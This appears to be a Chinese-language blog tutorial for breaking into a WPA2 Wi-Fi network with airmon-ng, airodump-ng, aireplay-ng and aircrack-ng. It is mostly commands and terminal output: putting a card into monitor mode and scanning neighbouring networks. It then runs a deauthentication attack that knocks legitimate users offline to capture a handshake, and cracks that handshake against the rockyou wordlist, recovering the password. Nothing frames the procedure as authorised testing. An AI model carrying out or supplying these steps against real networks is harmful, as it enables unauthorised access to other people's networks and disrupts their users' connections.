用到的工具
airmon-ng
airodump-ng
aireplay-ng
aircrack-ng
过程
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
root@lm:~# ifconfig
eth0 Link encap:Ethernet HWaddr xx:xx:xx:xx:xx:xx
inet6 addr: xxxx::xxx:xxxx:xxxx:xxxx/xx Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:26 errors:0 dropped:0 overruns:0 frame:0
TX packets:21 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:2360 (2.3 KiB) TX bytes:5094 (4.9 KiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:93 errors:0 dropped:0 overruns:0 frame:0
TX packets:93 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:34569 (33.7 KiB) TX bytes:34569 (33.7 KiB)
wlan0 Link encap:Ethernet HWaddr xx:xx:xx:xx:xx:xx
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
|
airmon-ng
我们看到没有mon0
接着下一条命令，开启监听模式
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
root@lm:~# airmon-ng start wlan0
Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID Name
3494 NetworkManager
4348 dhclient
4769 wpa_supplicant
Interface Chipset Driver
wlan0 Ralink RT2870/3070 rt2800usb - [phy0]
(monitor mode enabled on mon0)
|
红色字体mon0已经开启，这时候再次输入ifconfig，发现是不是有mon0了!
接下来开始探测AP
airodump-ng
airodump-ng mon0
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
CH 7 ][ Elapsed: 1 min ][ 2015-04-03 19:28
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
xx:xx:xx:xx:xx:xx -53 30 0 0 11 54e. WPA2 CCMP PSK Adminlm
xx:xx:xx:xx:xx:xx -80 32 0 0 1 54e. WPA2 CCMP PSK 415
xx:xx:xx:xx:xx:xx -79 34 435 0 11 54e WPA2 CCMP PSK FAST_CE6F84
xx:xx:xx:xx:xx:xx -80 28 1 0 1 54e. WPA2 CCMP PSK �.��..0809
xx:xx:xx:xx:xx:xx -81 24 1 0 9 54e WPA2 CCMP PSK Celleden_Map1600
xx:xx:xx:xx:xx:xx -85 25 0 0 11 54e. WPA2 CCMP PSK TP-LINK_7FC6
xx:xx:xx:xx:xx:xx -91 18 0 0 11 54e. WPA2 CCMP PSK MERCURY209
xx:xx:xx:xx:xx:xx -91 17 0 0 6 54e. WPA2 CCMP PSK TP-LINK_C24BCA
xx:xx:xx:xx:xx:xx -94 3 0 0 11 54e. WPA2 CCMP PSK 360�..费WiFi-MZ
xx:xx:xx:xx:xx:xx -89 6 0 0 1 54e WPA2 CCMP PSK W
xx:xx:xx:xx:xx:xx -91 2 0 0 6 54e. WPA2 CCMP PSK pybc110
BSSID STATION PWR Rate Lost Frames Probe
(not associated) xx:xx:xx:xx:xx:xx -54 0 - 1 417 95 A�.���.�.�车��.,修武�..�..��.欢a_0
|
可以看到上方有很多BSSID也就是常说的MAC地址
我们选择一个BSSID进行攻击，抓包
|
1
|
airodump-ng -w 保存包的路径 -c 频道 -b BSSID mon0 (airodump-ng -w /root/Desktop/wifi -c 11 -b xx:xx:xx:xx:xx:xx mon0)
|
airodump-ng 参数
|
1
|
aireplay-ng -0 次数 -a AP'MAC -c 客户端'MAC mon0 --ignore-negative-one (aireplay-ng -0 1000 -a xx:xx:xx:xx:xx:xx -c xx:xx:xx:xx:xx:xx mon0 --ignore-negative-one)
|
对合法用户进行deauth攻击,使其掉线重新连接AP，那么我们就静静等待抓握手包
看到这个就说明，我们已经抓到他的握手包了
接下来就是跑包环节
aircrack-ng
|
1
|
aircrack-ng -w< 字典 握手包 [我的字典文件在/root/password/，握手包在主文件夹下那么，就这样写] aircrack-ng -w /root/password/rockyou.txt adminlm*.cap
|
不要问我*是什么意思，你们应该懂！ （*相当于模糊搜索）
在 Index number of target network ? 我们选择2，也就是我们抓到握手包的那个 回车键
密码跑出来了，123456789
